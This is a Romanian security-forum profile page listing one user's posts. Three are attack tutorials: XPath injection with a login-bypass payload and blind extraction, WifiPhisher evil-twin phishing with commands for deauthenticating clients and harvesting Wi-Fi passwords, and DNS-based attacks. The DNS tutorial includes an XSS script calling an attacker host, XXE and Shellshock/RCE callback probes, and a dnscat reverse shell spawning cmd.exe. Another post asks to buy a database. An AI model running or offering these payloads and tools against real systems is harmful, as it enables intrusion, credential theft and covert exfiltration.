Jump to content

bc-vnt

Active Members
  • Content count

    595
  • Joined

  • Last visited

  • Days Won

    4

bc-vnt last won the day on May 9 2013

bc-vnt had the most liked content!

Community Reputation

112 Excellent

About bc-vnt

  • Rank
    Registered user
  • Birthday 02/14/1992

Contact Methods

  • Yahoo
    bc_vnt@yahoo.it

Profile Information

  • Gender
    Male
  • Location
    Italy
  • Interests
    Learning

Converted

  • Biography
    Just incorigible bastard !
  • Location
    ™★RsT★™
  • Interests
    SpeciL

Recent Profile Visitors

The recent visitors block is disabled and is not being shown to other users.

  1. bc-vnt

    XPath injection

    Introducere Aplicatiile web folosesc foarte mult bazele de date pentru a aduna datele necesare si ale folosii la buna lor functionare . De multi ani, bazele de date relationale sunt tehnologia preferata pentru gestionarea datelor, dar in ultimul timp, au inceput sa iasa solutii organizate in structuri XML . Daca DB-urile relationale erau interogate folosind limbajul SQL, DB-urile XML folosesc XPath pentru a efectua query . Asa cum in limbajul SQL exista vulnerabilitati, exista si in XPath . In particular XPath injection, care ne permite sa injectam sintaxe XPath in internul request-ului, pe care aplicatia trebuie sa-l interpreteze, permitandu-ne astfel sa folosim interogari ad-hoc, de exemplu, by-pass al mecanismelor de autentificare, sau accesul la informatii care nu ar trebuii sa fie citite . Structura unei baze XML Pentru a intelege cum functioneaza query XPath, sa ne imaginam o baza de date care contine date de autentificare ( username, password si nivelul de acces ) . <?xml version="1.0" encoding="ISO-8859-1"?> <auth> <user> <username>admin</username> <password>Password</password> <account>admin</account> </user> <user> <username>guest1</username> <password>Passosp1t31</password> <account>guest</account> </user> <user> <username>guest2</username> <password>Passosp1r32</password> <account>guest</account> </user> </auth> Sa specificam mai in detaliu ce semnificatie au tagurile folosite . <auth>, este elementul radacina si il putem considera numele pe care vrem sa-l dam DB-ului nostru . <user>, defineste prima separare de elemente al aceluia intreg, intr-o baza de date relationala ar corespunde cu numele tabelului . <username>, <password> si <account>, definec inregistrarile relative al fiecarui <user> Putem presupune ca un utilizator poate accesa DB-ul prin intermediul front-end, care este programat intr-un oarecare limbaj web compatibil . Prin intermediul acestui instrument va fi posibil sa introducem date, sa le verificam si asa vom garanta accesul la DB, asta in posibilitatile permisiilor . XPath injection In momentul verificarii credentialelor accesului, va fi generat un string asemanator acestuia : //user[username/text()='USERNAME' and password/text()='PASSWORD']/account/text() Aici imput-ul utilizatorului, este reprezentat de string-ul USERNAME si PASSWORD . Daca aplicatia care interpreteaza codul XPath, nu filtreaza amandoua string-urile ( adica nu sterge '' ) atunci aplicatia este expusa unei vulnerabilitati de tip XPath injection . Pentru inceput trebuie sa se verifice injectia de fazabilitate, putem face asta punand un singur apex . Facand asa, serverul va returna o eroare de sintaxa si asa vom fii destul de sigur ca aplicatia este expusa unei vulnerabilitati . Sa vedem acum, cum putem sa profitam . Sa presupunem sa string-urile precedente ( USERNAME si PASSWORD ) sunt valorificate ca aici : USERNAME || ‘ or ‘a’='a PASSWORD || ‘ or ‘a’='a Cu aceste valori, query-ul care va fi rezultat va fi : //user[username/text()='' or 'a'='a' and password/text()='' or 'a'='a']/account/text() Situatia prezentata in acest tip de query va returna in totdeauna pozitiv ( TRUE ), ce va garanta accesul la DB, fara ca utilizatorul sa fii introdus credentiale valide . Daca nu cunoastem nimic despre structura interna al DB-ului XML, sau aplicatia nu furnizeaza nici un mesaj despre eroare, putem folosii un atac de tip Blind Xpath injection . Blind XPath injection In urma datelor pe care le cautam, este posibil sa mai obtinem si functii interne al limbajului XPath si asa vom avea mult mai multe informatii despre structura DB-ului XML . stringlenght() Cu aceasta functie putem extrage lungimea unui string ( sir ) de orice fel din teriorul bazei de date, ca in exemplu . stringlenght(//user[position()=1]/child::node()[position()=2]) In acest caz, vom obtine lungimea string-ului al doilea al primului utilizator . Putem chiar sa verificam daca lungimea este egala cu o valoare determinata . stringlength(//user[position()=1]/child::node()[position()=2]) = 6 Rezultatul va fii TRUE sau FALSE . substring() Putem extrage valoarea continuta in internul unui camp al DB-ului ca in exemplu : substring((//user[position()=1]/child::node()[position()=2]),1,1) In acest fel am obtinut primul caracter al username-ului . Pe langa asta, putem controla daca string-ul de output este egal cu o valoare determinata . substring(//user[position()=1]/child::node()[position()=2]),1,1) = "a" Si in acest caz rezultatul valorii este unu boolean . count() Aceasta functie este aceea care ne permite sa obtinem numarul de noduri in internul structurii . count(//user/child::node()) Si aici putem verifica manual, specificand o valoare si obtinand inca un TRUE sau FALSE . count(//user/child::node()) = 1 Cu aceste trei simple functii, suntem deja in gradul de a explora datele continute de baza de date . Evident procesul de blind injection este lung daca va fii facut manual, dar tool-uri cum ar fii " BurpSuite ", ne permit sa obtinem mult mai rapid rezultate . Prevenire ( Prevention ) Vulnerabilitatile de tip XPath se pot evita intr-un mod analog, ca si in cazul unei SQL injection : Tratand toti input-tii, care previn de la utilizator ca nesiguri si sa aplicam filtre asupra lor . Cand se aplica un filtru input-ului utilizatorului, sa verificam coectitudinea tipului de date, lungimea, formatul si continutul . De exemplu se poate folosii o expresie regulara pentru a controla prezenta tag-uriloe XML si a caracterelor speciale . Intr-o aplicatie " client-server ", sa efectuam controale si pe latura client si pe latura server . Sa facem mereu teste pe aplicatie inanite de a o produce . O alta tehnica buna de prevenire si corectare a vulnerabilitatilor de tip injection este PARAMETRIZAREA . In generam pentru a garanta un nivel de siguranta, este bine sa aplicam filtre urmatoarelor tipuri de caractere : < > / ' = " * ? : ( ) Sursa tutorial
  2. Introducere WifiPhiser, este un tool creeat in Python si este open source ( cu licenta MIT ), toolul il gasim pe : GitHub . Acest tool fiind creeat in 08 '14, astazi fiind un proiect destul de avansat, poate fii folosit de persoanele mai putin cunoscatoare . Este vorba de un program automatizat pentru efectuarea atacurilor de tip phishing contra retelelor wireless, in scopul obtionerii parolelor . Fiind catalogat ca instrument de inginerie sociala ( social engineering ), nu executa atacuri de tip bruteforce impotriva retelelor, acest tool pacaleste utilizatorul sa scrie parola retelei ( Access Point ) . In acest tutorial vom vedea in detaliu cum functioneaza . Cum functioneaza : WifiPhiser, foloseste o tehnica numita Evil Twin ( Geamanul Malefic ), adica el ia forma acces point-ului victimei . Dupa care el va porni un atac care va deconecta victima complet de la internet si va prelua controlul intregii conexiuni . Atacul are trei parti : Victima va fii deconectata de la reteaua wireless . Este vorba de un atac pe care noi mult probabil l-am mai folosit cu toolul aircrack-ng, prin care atacatorul trimite pachete de date care cauzeaza Denial of Service ( DoS ), fortand in asa fel ca, toate dispozitivele conectate la retea sa piarda acea conexiune . Acest tip de atac mai e cunoscut sub termenul de Jamming . Dispozitivul victimei se conecteaza la access point-ul atacatorului . O daca ce victima a fost constransa sa se deconecteze dupa ce noi am executat atacul precedent, un calculator sau un telefon, au abilitatea de a se reconecta la retea automat, dar de data aceasta, reteaua noua va fii aceea creeata de geamanul malefic . WifiPhiser, are un server DHCP, care furnizeaza adrese IP ( tinand locul unui router adevarat ) . Acum victima fiind conectata la "reteaua" noastra, o putem numii " man-in-the-middle", adica este sub controlul nostru ( al atacatorului ) . Victima va naviga pe o pagina web falsa . In aceasta ultima faza, orice site va accesa victima noastra, va fii furnizata in locul site-ului o pagina care va cere parola retelei wireless pentru a face un upgrade firmware-ului ( bine inteles aceasta este pagina atacatorului de phishing ) . O data ce victima scrie parola si apasa sumbit, aceasta va fii trimisa atacatorului . Folosire Pentru a puta folosi WifiPhisher, avem nevoie de 2 placi wireless, una cu capacitatea de a injecta . In acest exemplu vom folosii Alfa, iar placa interna al laptopului ( chipset Atheos ) . Teste urmatoare au fost facute pe Ubuntu, dar pot fii facute foarte usor si pe alte versiuni de Linux . Vom downloada WifiPhisher de pe GitHub, folosind urmatoarea comanda . git clone https://github.com/sophron/wifiphisher.git Vom rezolva mici deranjamente, instaland python-scapy si hostapd : sudo apt-get install python-scapy hostapd Inainte de a deschide toolul, sa ne uitam la parametri principali . Parametru || Descriere -m || Specifica numarul maxi de clienti pe care sa ii deconecteze in prima faza a atacului . -t || Specifica intervalul de timp pentru trimiterea pachetelor care ajuta la deconectare . Default, va utiza toata puterea placi de retea . Daca veti primii eroare de la python-scapy, puteti sa setati pachetele ( -t .00001 ) . -d || Sare peste prima faza al atacului, adica deconectarea dispozitivelor, astfel va creea doar un acces point geaman . -a || Va specifica adresa MAC, aici va trebuii sa luam manual MAC-ul tintei si sa-l specificam cu ajutorul acestui parametru . -jI || Selectioneaza manual interfata placii wireles, care se va ocupa cu Jamming . -aI || Selectioneaza manual interfata placii wireles care va devenii access-point-ul geaman . Pentru lista completa de parametri, folositi urmatoarea comanda : sudo python wifiphisher.py --help In sfarsit, purcedem, deschidem WifiPhisher : sudo python wifiphisher.py -jI wlan1 -aI wlan0 -a 88:53:2e:00:00:53 Aici " wlan1 ", este placa Alfa, " wlan0 ", este placa Atheos, si cu " -a " am specificat adresa MAC a tintei . Prima data ni se va arata toate retelele vizibile in jurul nostru . Pentru a selectiona o tinta (target), vom folosii CTRL+C si vom scrie numarul asociat acesteia ca in exemplu : Acum nu trebuie sa facem nimic, decat sa asteptam . Ni se va arata o noua fereastra, aceasta fiind divizata in 3 parti, urmand cu strictete fazele mai sus mentionate : Jamming, DHCP si request-uri HTTP : Acum dupa toate astea, victima, de fiecare data cand va vrea sa navigheze pe un site, ii va aparea acesta pagina ( pagina de phishing cu cererea parolei retelei ) : Sursa
  3. Domeniu Nume Sistem ( DNS ), este unul din instrumentele pe care le folosim foarte des pentru a naviga pe internet, acesta fiind folosit pentru a transforma o adresa WEB sau un HOSTNAME cu formatul www.numesite.com.it.ro.net.ecc intr-o adresa IP cu formatul numeric nnn.nnn.nnn.nnn . Cum o sa vedem in continuare, DNS-urile au mult mai multe functii, iar scopul acestui tutorial este acela de a vedea, cum putem efectua ENUMERARI DI DESCOPERIRI, adica cum sa citim adresele IP asociate unui domeniu si sa descoperim sub-domeniile conectate acestuia . Tipuri de DNS Inainte de a incepe cu practica, este necesar sa clarificam, care sunt principalele tipuri de DNS si campul lor de utilitate Tip de DNS || Descriere A || Transofrma un HOSTNAME intr-o adresa IPv4 AAAA || Transforma un HOSTNAME intr-o adresa IPv6 CNAME || Transforma un HOSTNAME intr-un alt HOSTNAME MX || Ne da adresa de E-mail Exchange folosita pentru trimiterea de e-mail NS || Ne da adresa NAMESERVER folosita pentru gestionarea "recordDNS" TXT || Ne ofera un sir ( string ) SRV || Service Record, folosit pentru a specifica un tip de serviciu, poate contine HOSTNAME-ul si PORT-ul pe care serviuciu lucreaza, foarte des folosit pentru VoIP PTR || Pointer Record, folosit pentru a obtine un HOSTNAME pe IP Pe pagina de Wikipedia, este disponibila lista completa tuturor tipurilor de DNS record . Enumerare si descoperire Tool-ul care ne permite sa facem chemari de tip DNS ( request ) este dig . Sa vedem cum putem sa chemam tipul de DNS " A " al domeniului HTML.it, folosind serverul DNS google ( 8.8.8.8 ) : dig @8.8.8.8 -t A html.it Dar daca vom vrea sa obtinem toate topurile de DNS record, fara sa specificam ce vrem pas cu pas, vom folosii : dig @8.8.8.8 -t ANY html.it Informatiile primite de la dig, pot fii prea putine si incomplete, putem insa sa obtinem mai multe informatii folosind dnsdict6 . dnsdict6 -4 -d -S html.it Comenzile precendente : Paramentrul " -4 ", efectueaza enumerarea si pe protocolul IPv4 Paramentrul " -d ", ne arata informatii si indrumari IPv6 Paramentrul " -S ", cere efectuarea enumerari pe tipul de DNS SRV dnsdict6 contine default un dictionar de aproximativ 1500 de cuvinte cheie, care sunt utilizate ( cum se vede in iesire precendenta ( output )), pentru a gasii domenii de nivelul 3 ( numite sub-domenii ) . Este posibil daca vrem sa specificam un dictionar extern . dnsdict6 -4 -d -S html.it /home/simone/dizionari/dns_presonal.txt Acum ca am obtinut o lista mai mult sau mai putin completa de sub-domenii putem sa trecem la folosire de " dnsenum ", o comanda care in afara ca probeaza din dictionar cuvintele cheie, efectueaza o cautare direct pe Google, pentru a ne da rezultate mult mai exacte . dnsenum --dnsserver 8.8.8.8 --enum html.it Comenzile precendente : Parametrul " -dnsserver ", specifica pe care server sa mergem si sa efectual request-urile Parametrul " -enum ", porneste varie tipuri de enumerare, dintre care, dictionar, cautare Google si rezultate Whols . Pe langa toate astea, este posibil sa obtinem o lista cu sub-domenii cu ajutorul Google ( excluzand rezultatele care contin WWW, utilizand stringul ca in exemplu : site:html.it -www Incest puct in care suntem ajunsi avem mult mai multe informatii despre domeniul pe care il analizam . Putem strange acum cuvintele cheie pe care le-am folosit, pentru a proteja domeniul de atacurile de tip " Man-in-the-Middle" sau transferuri frauduloase . Acest sistem de protejare se numeste DNSSEC . dnsrecon -d verisigninc.com Paramentrul " -d ", ne permite sa specificam domeniul asupra caruia vrem sa efectual enumerarea . Acum, avem destule informatii pentru a face descoperirea ( discovery ) : este vorba de procesul de cautare prin adresele IP ( vecine ), cautand alte nume DNS, care pot face referire la tinta noastra ( target ) . dnsrecon -r 151.1.244.200/24 Parametrul " -r ", efectueaza un " Reverse Lookup " . Range-ul ( Gama ), este specificata cu un netmask, este request-ul care este trimis serverului DNS de tip PTR . Pentru a face reversing adreselor IPv6, putem folosii dnsrevenum6 : dnsrevenum6 8.8.8.8 2001:41d0:1:ad64:1::/48 In precedenta comanda, primul parametru este adressa serverului DNS ( in acest caz Google ) si al doilea parametru este range-ul, specificat cu netmask /48, al adresei IPv6 . Toate informatiile adunate, provin din servicii publice, deci sunt consultabile de oricine, nu am facut nici o ilegalitate pe durata procesului de enumerare si descoperire . DNS : Functionarea si verificarea acestuia de vulnerabilitati Parcursul unui request DNS . Imaginea de mai sus, a fost selectata din prezentarea tinuta de Ron Bowes ( angajat Google ), tinuta la DerbyCon 2014, unde explica exact cum functioneaza un request DNS . Primul dispozitiv pe care il vom interoga va fii router-ul nostru . In cazul in care nu s-au facut request-uri pana acum, request-ul va ajunge la serverul DNS configurat in internul router-ului . Daca nici Google nu este abil pentru a rezolva adresa, va face intrebari root-serverelor (servere care sunt responsabile pentru fiecare domeniu de nivel 1 in parte ) . Daca nici aceste ultime masuri nu gasesc raspunsul, vor face un tur de request-uri la autohoritative server, care este un server DNS sub controlul nostru . In acest mod vom putea raspunde originalului request DNS cu valoarea aleasa de noi . Trebuie sa stim sa serviciul DNS este lasat deschis in majoritatea parilor de server, daca nu ar fi asa, nu ar mai exista posibilitatea ca serverul sa comunice cu toti la nivel global . Acesta ne permite sa comunicam cu serverul, reusind sa trecem peste eventuali Firewall sau Intrusion Prevention System ( IPS ) . Noi metode de atac folosind DNS-uri, verificarea de vulnerabilitati Intr-un assessment in blackbox este greu sa intelegem cum datele vin in internul sistemului . Cu ajutorul DNS-ului putem sa urmarim sau cel putin sa intelegem daca datele noastre sunt acceptate de terzi . Cross-Site Scripting ( XSS ) In perioada 2010 si 2012 au fost efectuate teste pe trei mari portale de Whols surprinzand, ele fiind vulnerabile atacurilor XSS, atacatorul crease un record DNS de tip TXT cu un cod similiar acestuia . <script src="http://siteulnostru/evil.js"></script> Folosind alte tipuri de DNS, cum ar fi, CNAME, MX sau PTR, ar fi fost mult mai greu, vazand ca tipurile de record precedente nu permit folosirea de spatii sau ghilimele ca in exemplu . <script/src='http://siteulnostru/evil.js"></script> Atacatorul a reusit sa injecteze un cod malitios permanent, care putea afecta orice vizitator . SQL injection Exista multe functii PHP sau ASP, care permit sa preluam valoarea unui record DNS . Aceste date pot fii folosite in continuare si utilizate intr-un query SQL fara a fi filtrat . Sa vedem cum putem exploata acest tip de vulnerabilitate, folosindune de un exemplu dat de Ron Bowse facut in PHP . Atacatorul are posibilitatea de a modifica query-ul SQL, obtinand parola unui alt user, utilizand un record DNS de tip TXT ca in exemplu . Acesta fiind un singur exemplu unde utilizatorul stie codul sursa al aplicatiei . Intr-un caz real este greu sa afli adevaratul query SQL daca nu stii cum a fost scris . XML External Entity ( XXE ) Putem verifica daca un sistem este vulnerabil XXE introducand in internul fisierului sau a query XML, un cod ca cel ce urmeaza : ]<!ENTITY xxe SYSTEM "http://notexistingname.ourserver.org" >]> <user>&xxe;</user> Daca vom primii pe serverul nostru un request de rezolutie DNS pentru " notexistingname ", vom stii ca sistemul este vulnerabil actiunilor externe . In acest punct ajunsi putem sa incepem sa adunam fisiere locale, cum ar fii /etc/passwd . ShellShock Una dintre metodele de invazie pentru a verifica prezenta unui bug Bash ( ShellShock ), este folosirea rezolutiei DNS cu ajutorul nslookup, comanda recunoscuta pe Windows, Linux si Mac . Se poate imposta un user-agent si sa asteptam ca vin request-urile . () { test;};nslookup shellshocked.ourserver.org Daca vom primii pe serverul nostru un request de rezolutie DNS pentru " shellshocked ", vom sti ca aplicatia web foloseste un script cu o versiune vulnerabila de Bash . Putem deci sa executam orice alta comanda in locul simplei nslookup . Remote command execution ( RCE ) Ca in exemplul de Shellshock putem executa nslookup, pentru a verifica vulnerabilitatile de tip RCE, pentru a face asta sunt o gama larga de trucuri ca in exemplu : ;nslookup shell.ourserver.org `nslookup shell.ourserver.org` |nslookup shell.ourserver.org $(nslookup shell.ourserver.org) Ca in exemplele precedente, cand vom primi un request de rezolutie pentru " shell ", va insemna ca am verificat vulnerabilitatea si putem incepe atacul . DNS : Atac post-verificare Noi metode de atac folosind DNS-uri, post-verificare Dupa ce am verificat ca unul dintre atacurile precendent a functionat, putem in continuare sa folosim serviciul DNS pentru a mentine un profil low fara a face prea mult " zgomot " pe reteaua tintei noastre . Vom aveam nevoie de un tool numit dnscat, prezent in internul nbtool, poate fii obtinul prin GitHub . dnscat --listen -p 53 Comanda precedenta : " -listen ", deschide dnscat in modul server ( ascultare ) " -p ", identifica port-ul pe care va face " listening " . 53 fiind default, acela al serviciului DNS Acum putem sa deschidem pe masina tintei, dnscat ca si client, care va reintoarce ca shell de comenzi de windows ( cmd.exe ) . dnscat --dns virtualmachine1 -e cmd.exe Aici : " -dns ", identifica IP-ul sau hostname-ul masinii pe care este pornit dnscat in modalitatea server. " -exec ", porneste promp-ul de comnezi windows Iar acesta in schimb este vizualul serverului . Tot ce este scris si citit de dnscat, trece prin queryDNS, asa cum putem vedea explorand cu Wireshark : Concluzii Am vazut cum sa folosim si sa abuzam de un serviciu care a existat mereu inca din primi ani '80 si pe care tot internetul se bazeaza . Tutorialul ne arata cum este posibil sa obtinem informatii facand query-uri de tip DNS si expoatarea unui canal de comunicare greu filtrat . Multe metode de recunoastere si atac prezente in acet tutorial sunt ramificate din prezentarea lui Ron Bowse . Videoul urmator, este o demonstratie de atac XSS majoritatii site-urilor Whols . Sursa
  4. bc-vnt

    Posting thread on RST Market

    You need at least 50 topics, then read the rules .
  5. bc-vnt

    recuperare fisiere android

    Intrati aici si introduceti un e-mail plus un nume la caterinca, dupa care veti primii o licenta gratis . Sper sa ajut .
  6. Daca ai IE8 ar putea fii de la el, deschide Internet Options, si mergi la tabul "Advanced" debifeaza "Check for signatures on downloaded programs " . Sau schimba locatia downloadurilor in alt folder decat cel default "Downloads" . Sau mergi in " computer/local disk/program files/internet explorer " si muta iexplorer pe desktop . Eu cu a treia varianta am rezolvat aceasta problema .
  7. bc-vnt

    Sarbatori Fericite

    Va urez si eu un Craciun fericit, si multa sanatate, de asemeni un an nou fericit, nu stiu daca o sa mai intru pe forum pana pe 3 -4 Ianuarie . Sper sa vi se indeplineasca toate dorintele acum de Craciun, multa fericire si bucurie alaturi de familie din partea mea va doresc .
  8. Ai aici niste raspunsuri la eraoare 28 vezi daca te ajuta
  9. bc-vnt

    Cumpar baza de date

    Cumpar baza de date de aici , pm cu preturi .
  10. bc-vnt

    Cereti-mi carti

    Nu m-am saturat , numai ca nu mai am asa mult timp , si dureaza mult sa uploadez dar usor usor am sa satisfac toate cerererile .
  11. bc-vnt

    Cereti-mi carti

    http://www.comp.nus.edu.sg/~stevenha/myteaching/competitive_programming/week01_introduction.pdf
  12. bc-vnt

    Cereti-mi carti

    http://www.mainepulpaper.org/currentstudentresources/imgages/Dale%20Carnegie%27s%20Secrets%20of%20Success.pdf
  13. bc-vnt

    Cereti-mi carti

    Cantec de gheata si foc- dansul dragonilor Amos Oz Between Friends How to Cure a Fanatic Scenes from Village Life Gabriel Garcia Marquez: Product Details One Hundred Years of Solitude Chronicle of a Death Foretold Collected Stories Umberto Eco: Foucault's Pendulum The Prague Cemetery Baudolino
  14. bc-vnt

    Cereti-mi carti

    http://www.2shared.com/file/rQES9ZQ-/640-802.html Edit
  15. bc-vnt

    Cereti-mi carti

    https://www.google.it/#sclient=psy-ab&q=carti+php+incepatori&oq=carti+php+&gs_l=hp.3.0.0j0i22i30l3.533.4649.0.7176.16.13.3.0.0.0.287.2850.0j5j8.13.0...0.0...1c.1.15.psy-ab.yYBmJI8mwQY&pbx=1&bav=on.2,or.r_cp.r_qf.&bvm=bv.47244034,d.bGE&fp=9d5e0102775c7687&biw=1366&bih=530
×